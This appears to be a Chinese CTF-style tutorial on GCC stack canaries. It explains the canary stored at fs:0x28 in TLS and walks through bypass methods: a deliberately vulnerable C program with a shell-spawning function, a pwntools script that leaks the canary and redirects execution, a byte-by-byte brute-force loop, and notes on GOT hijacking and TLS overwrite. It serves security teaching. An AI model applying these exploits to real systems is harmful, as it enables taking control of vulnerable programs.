Canary

roger

1.原理在GCC中使用canary

-fstack-protector 启用保护，不过只为局部变量中含有数组的函数插入保护

-fstack-protector-all 启用保护，为所有函数插入保护

-fstack-protector-strong

-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护

-fno-stack-protector 禁用保护

实现原理

开启了canary后，栈如下：

Canary

当程序启用 Canary 编译后，在函数序言部分会取 fs 寄存器 0x28 处的值，存放在栈中 %ebp-0x8 的位置。

这个操作即为向栈中插入 Canary 值.在函数返回之前，会将该值取出，并与 fs:0x28 的值进行异或。如果异或的结果为 0，说明 Canary 未被修改，函数会正常返回，这个操作即为检测是否发生栈溢出。

如果 Canary 已经被非法修改，此时程序流程会走到 __stack_chk_fail

进一步，对于 Linux 来说，fs 寄存器实际指向的是当前栈的 TLS 结构，fs:0x28 指向的正是 stack_guard。

typedef struct
　　{
　　void *tcb;        /* Pointer to the TCB.  Not necessarily the
　　thread descriptor used by libpthread.  */
　　dtv_t *dtv;
　　void *self;       /* Pointer to the thread descriptor.  */
　　int multiple_threads;
　　uintptr_t sysinfo;
　　uintptr_t stack_guard;
　　...
　　} tcbhead_t;

如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。

事实上，TLS 中的值由函数 security_init 进行初始化。

static void
　　security_init (void)
　　{
　　// _dl_random的值在进入这个函数的时候就已经由kernel写入.
　　// glibc直接使用了_dl_random的值并没有给赋值
　　// 如果不采用这种模式, glibc也可以自己产生随机数
　　//将_dl_random的最后一个字节设置为0x0
　　uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
　　// 设置Canary的值到TLS中
　　THREAD_SET_STACK_GUARD (stack_chk_guard);
　　_dl_random = NULL;
　　}
　　//THREAD_SET_STACK_GUARD宏用于设置TLS
　　#define THREAD_SET_STACK_GUARD(value) \
　　THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

2.Canary绕过1.leak canary

Canary 设计为以字节 \x00 结尾，本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节，来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数，并且可能需要第一溢出泄露 Canary，之后再次溢出控制执行流程。

// ex2.c
　　#include 
　　#include 
　　#include 
　　#include 
　　void getshell(void) {
　　system("/bin/sh");
　　}
　　void init() {
　　setbuf(stdin, NULL);
　　setbuf(stdout, NULL);
　　setbuf(stderr, NULL);
　　}
　　void vuln() {
　　char buf[100];
　　for(int i=0;i<2;i++){
　　read(0, buf, 0x200);
　　printf(buf);
　　}
　　}
　　int main(void) {
　　init();
　　puts("Hello Hacker!");
　　vuln();
　　return 0;
　　}

编译为 32bit 程序并关闭 PIE 保护 （默认开启 NX，ASLR，Canary 保护）

$gcc -m32 -no-pie ex2.c -o ex2

首先通过覆盖 Canary 最后一个 \x00 字节来打印出 4 位的 Canary 之后，计算好偏移，将 Canary 填入到相应的溢出位置，实现 Ret 到 getshell 函数中

#!/usr/bin/env python
　　from pwn import *
　　context.binary = 'ex2'
　　#context.log_level = 'debug'
　　io = process('./ex2')
　　get_shell = ELF("./ex2").sym["getshell"]
　　io.recvuntil("Hello Hacker!\n")
　　# leak Canary
　　payload = "A"*100
　　io.sendline(payload)
　　io.recvuntil("A"*100)
　　Canary = u32(io.recv(4))-0xa
　　log.info("Canary:"+hex(Canary))
　　# Bypass Canary
　　payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
　　io.send(payload)
　　io.recv()
　　io.interactive()

Canary

'\x0a'换行将canary最后的/x00覆盖，所以也输出了。

2.one-by-one爆破Canary

对于 Canary，虽然每次进程重启后的 Canary 不同 (相比 GS，GS 重启后是相同的)，但是同一个进程中的不同线程的 Canary 是相同的， 并且 通过 fork 函数创建的子进程的 Canary 也是相同的，因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点，彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中，作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:

print "[+] Brute forcing stack canary "
　　start = len(p)
　　stop = len(p)+8
　　while len(p) < stop:
　　for i in xrange(0,256):
　　res = send2server(p + chr(i))
　　if res != "":
　　p = p + chr(i)
　　#print "\t[+] Byte found 0x%02x" % i
　　break
　　if i == 255:
　　print "[-] Exploit failed"
　　sys.exit(-1)
　　canary = p[stop:start-1:-1].encode("hex")
　　print "   [+] SSP value is 0x%s" % canary

3.劫持__stack_chk_fail 函数

已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数，__stack_chk_failed 函数是一个普通的延迟绑定函数，可以通过修改 GOT 表劫持这个函数

4.覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中，在函数返回前会使用这个值进行对比。当溢出尺寸较大时，可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

参见 StarCTF2018 babystack

https://eternalsakura13.com/2018/04/24/starctf_babystack/

---